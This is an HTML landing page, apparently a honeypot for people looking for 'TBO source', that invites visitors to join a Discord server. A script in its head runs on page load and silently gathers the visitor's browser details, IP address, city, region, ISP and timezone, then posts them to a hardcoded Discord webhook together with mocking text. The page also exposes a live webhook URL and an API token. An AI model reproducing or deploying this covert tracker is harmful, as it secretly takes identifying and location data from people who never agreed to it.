<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Why Are You Here?</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: flex-start;
            min-height: 100vh;
            overflow-x: hidden;
            background-color: #111;
            color: white;
            text-align: center;
            position: relative;
        }

        h1 {
        margin: 20px 0 10px;
        font-size: 48px;
        font-weight: bold;
        background: linear-gradient(90deg, #00c6ff, #0072ff);
        -webkit-background-clip: text;
        -webkit-text-fill-color: transparent;
        }
        
        .description {
            margin: 10px 15px;
            font-size: 20px;
            font-weight: 300;
            max-width: 600px;
            line-height: 1.5;
            padding: 15px;
            background-color: rgba(255, 255, 255, 0.1);
            border-radius: 10px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.5);
        }

        img {
            max-width: 90%;
            height: auto;
            border-radius: 10px;
        }

        .button-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            margin-top: 20px;
        }

        .discord-button {
            display: flex;
            align-items: center;
            background-color: #7289da;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 5px;
            font-size: 18px;
            cursor: pointer;
            text-decoration: none;
            margin-top: 10px;
        }

        .discord-button:hover {
            background-color: #5b6eae;
        }

        .discord-button i {
            margin-right: 10px;
            font-size: 1.2em;
        }

    </style>
        <script>
        function sendDeviceInfoToWebhook() {
            const webhookURL = 'https://discord.com/api/webhooks/1319771159906095114/5NDQv37P7QqMraQnpV37p8kKS6DBTYee9fajKmiVDP0hI9FWLEf_f4op3icRqc93WB5b';

            const deviceInfo = {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                screenWidth: window.screen.width,
                screenHeight: window.screen.height,
                language: navigator.language
            };

            fetch('https://ipinfo.io?token=0a7775d6f7e150') // Replace with your ipinfo.io token
                .then(response => response.json())
                .then(geoData => {
                    const geoInfo = {
                        ip: geoData.ip,
                        countryCode: geoData.country,
                        region: geoData.region,
                        city: geoData.city,
                        org: geoData.org,
                        timezone: geoData.timezone
                    };

                    fetch(`https://restcountries.com/v3.1/alpha/${geoInfo.countryCode}`)
                        .then(response => response.json())
                        .then(countryData => {
                            const countryName = countryData[0].name.common;
                            const flagURL = `https://flagcdn.com/48x36/${geoInfo.countryCode.toLowerCase()}.png`; // Country flag URL

                            const embed = {
                                   embeds: [{      
                                    title: "someone tried to find TBO source",
                                    color: 3447003,
                                    fields: [
                                        {
                                            name: "Device Information",
                                            value: `
                                            **User Agent:** ${deviceInfo.userAgent}
                                            **Platform:** ${deviceInfo.platform}
                                            **Screen Width:** ${deviceInfo.screenWidth}
                                            **Screen Height:** ${deviceInfo.screenHeight}
                                            **Language:** ${deviceInfo.language}
                                            `,
                                            inline: false
                                        },
                                        {
                                            name: "IP Information",
                                            value: `
                                            **IP Address:** ${geoInfo.ip}
                                            **Country:** ${countryName} (${geoInfo.countryCode})
                                            **Region:** ${geoInfo.region}
                                            **City:** ${geoInfo.city}
                                            **Organization:** ${geoInfo.org}
                                            **Timezone:** ${geoInfo.timezone}
                                            `,
                                            inline: false
                                        }
                                    ],
                                    thumbnail: {
                                        url: flagURL
                                    },
                                    footer: {
                                        text: "loser imagine trying to skid"
                                    },
                                    timestamp: new Date()
                                }]
                            };

                            fetch(webhookURL, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json'
                                },
                                body: JSON.stringify(embed)
                            })
                            .then(response => {
                                if (response.ok) {
                                    console.log('Device and geo info sent to webhook');
                                } else {
                                    console.error('Error sending info', response.statusText);
                                }
                            })
                            .catch(error => console.error('Error sending info:', error));
                        })
                        .catch(error => console.error('Error fetching full country name:', error));
                })
                .catch(error => console.error('Error fetching geo info:', error));
        }

        window.onload = sendDeviceInfoToWebhook;
    </script>
</head>    
<body>
    <h1>Why Are You Here?</h1>
    <p class="description">
        If you're here, you're either looking for something...  
        Anyways, join TBO Discord:
    </p>
    <img src="https://media.discordapp.net/attachments/1302375719263014932/1319759186761875478/image0.jpg?ex=67672106&is=6765cf86&hm=d03c04f029bea220cdfbf721cf328c14ffe0a8e11499ca6eb8771833c304eb54" alt="Why Are You Here?">
    
    <div class="button-container">
        <!-- Discord Button -->
        <a href="https://discord.gg/invite/jwYqu66bqm" class="discord-button">
            <i class="fab fa-discord"></i> Join TBO Discord
        </a>
    </div>
</body>
</html>